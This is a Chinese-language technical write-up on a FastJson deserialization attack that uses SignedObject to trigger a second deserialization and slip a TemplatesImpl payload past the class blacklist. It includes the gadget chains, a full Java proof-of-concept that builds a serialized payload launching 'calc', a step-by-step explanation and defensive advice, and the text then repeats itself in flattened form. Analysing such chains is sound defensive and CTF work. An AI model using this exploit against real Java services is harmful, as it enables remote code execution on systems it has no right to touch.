FastJson结合二次反序列化绕过黑名单
字数 1384 2025-08-25 22:59:09

FastJson结合二次反序列化绕过黑名单技术分析

1. 漏洞背景

FastJson在多个版本中存在反序列化漏洞,可以通过特定利用链实现RCE(远程代码执行)。该技术利用SignedObject绕过第一层安全的resolveClassTemplatesImpl类的检查。

利用条件:

  1. ObjectInputStream反序列化输入数据可控
  2. 引入了Fastjson依赖

2. 基础利用链分析

2.1 基本Gadget链

BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties

2.2 FastJson反序列化特点

  • FastJson不是通过ObjectInputStream.readObject()还原对象
  • 在反序列化过程中自动调用类属性的setter/getter方法
  • 从FastJson 1.2.49开始,JSONArrayJSONObject重写了resolveClass,过滤了TemplatesImpl等危险类

3. 初始绕过技术

3.1 引用类型绕过

通过将TemplatesImpl对象先添加到列表中,使其变成引用类型,从而绕过JsonArrayresolveClass黑名单检测。

List<Object> list = new ArrayList<>();
TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
list.add(templates); // 第一次添加使templates变成引用类型
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates); // 此时在hash表中查到映射,以引用形式输出

3.2 限制条件

这种绕过方式要求目标环境使用了不安全的ObjectInputStream。如果重写了ObjectInputStream并过滤了TemplatesImpl,这种方法就会失效。

4. 二次反序列化绕过技术

4.1 SignedObject介绍

SignedObject是JDK内置类,主要用于加密反序列化数据。关键特性:

  • 包含一个可序列化对象和该对象的签名
  • getObject()方法会进行反序列化操作
public Object getObject() throws IOException, ClassNotFoundException {
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

4.2 完整Gadget链

BadAttributeValueExpException#readObject
JSONObject#toString
SignedObject#getObject (二次反序列化)
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass

5. 完整利用代码

public class FJ2 {
    public static void main(String[] args) throws Exception {
        // 第一次反序列化准备
        List<Object> list = new ArrayList<>();
        TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
        list.add(templates); // 使templates变成引用类型
        
        JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates); // 在handles hash表中建立映射
        
        BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd2, "val", jsonArray2);
        list.add(bd2);
        
        // 创建SignedObject进行二次反序列化
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable)list, kp.getPrivate(), Signature.getInstance("DSA"));
        
        // 触发SignedObject#getObject
        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);
        
        BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd1, "val", jsonArray1);
        
        // 验证
        byte[] payload = SerializerUtils.serialize(bd1);
        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));
        ois.readObject();
    }
}

6. 技术原理分析

6.1 绕过流程

  1. 通过SignedObject绕过黑名单对TemplatesImpl的校验
  2. 触发BadAttributeValueExpException#readObject
  3. 通过JSON#toString触发JSON#toJSONString
  4. 通过JSONSerializer#write方法处理对象
  5. 使用ListSerializer处理列表内容
  6. 通过ASM技术创建目标类(SignedObject)的序列化处理器
  7. 触发SignedObject#getObject进行二次反序列化
  8. 最终通过JSONArray#toString触发TemplatesImpl#getOutputProperties

6.2 关键点

  • 利用引用类型绕过第一次resolveClass检查
  • 通过SignedObjectgetObject()方法进行二次反序列化
  • 利用FastJson的自动调用getter特性触发链式调用

7. 防御建议

  1. 升级FastJson到最新安全版本
  2. 严格限制反序列化输入源
  3. 实现完整的类黑名单机制
  4. 避免使用不安全的ObjectInputStream实现
  5. 对关键类如SignedObject进行监控

8. 总结

该技术展示了如何结合FastJson特性和二次反序列化绕过安全限制,在特定条件下实现RCE。虽然实际应用场景有限,但在CTF等环境中可能作为非预期解出现。理解这种技术有助于开发者更好地防御类似攻击。

FastJson结合二次反序列化绕过黑名单技术分析 1. 漏洞背景 FastJson在多个版本中存在反序列化漏洞,可以通过特定利用链实现RCE(远程代码执行)。该技术利用 SignedObject 绕过第一层安全的 resolveClass 对 TemplatesImpl 类的检查。 利用条件: ObjectInputStream 反序列化输入数据可控 引入了Fastjson依赖 2. 基础利用链分析 2.1 基本Gadget链 2.2 FastJson反序列化特点 FastJson不是通过 ObjectInputStream.readObject() 还原对象 在反序列化过程中自动调用类属性的setter/getter方法 从FastJson 1.2.49开始, JSONArray 和 JSONObject 重写了 resolveClass ,过滤了 TemplatesImpl 等危险类 3. 初始绕过技术 3.1 引用类型绕过 通过将 TemplatesImpl 对象先添加到列表中,使其变成引用类型,从而绕过 JsonArray 的 resolveClass 黑名单检测。 3.2 限制条件 这种绕过方式要求目标环境使用了不安全的 ObjectInputStream 。如果重写了 ObjectInputStream 并过滤了 TemplatesImpl ,这种方法就会失效。 4. 二次反序列化绕过技术 4.1 SignedObject介绍 SignedObject 是JDK内置类,主要用于加密反序列化数据。关键特性: 包含一个可序列化对象和该对象的签名 getObject() 方法会进行反序列化操作 4.2 完整Gadget链 5. 完整利用代码 6. 技术原理分析 6.1 绕过流程 通过 SignedObject 绕过黑名单对 TemplatesImpl 的校验 触发 BadAttributeValueExpException#readObject 通过 JSON#toString 触发 JSON#toJSONString 通过 JSONSerializer#write 方法处理对象 使用 ListSerializer 处理列表内容 通过ASM技术创建目标类( SignedObject )的序列化处理器 触发 SignedObject#getObject 进行二次反序列化 最终通过 JSONArray#toString 触发 TemplatesImpl#getOutputProperties 6.2 关键点 利用引用类型绕过第一次 resolveClass 检查 通过 SignedObject 的 getObject() 方法进行二次反序列化 利用FastJson的自动调用getter特性触发链式调用 7. 防御建议 升级FastJson到最新安全版本 严格限制反序列化输入源 实现完整的类黑名单机制 避免使用不安全的 ObjectInputStream 实现 对关键类如 SignedObject 进行监控 8. 总结 该技术展示了如何结合FastJson特性和二次反序列化绕过安全限制,在特定条件下实现RCE。虽然实际应用场景有限,但在CTF等环境中可能作为非预期解出现。理解这种技术有助于开发者更好地防御类似攻击。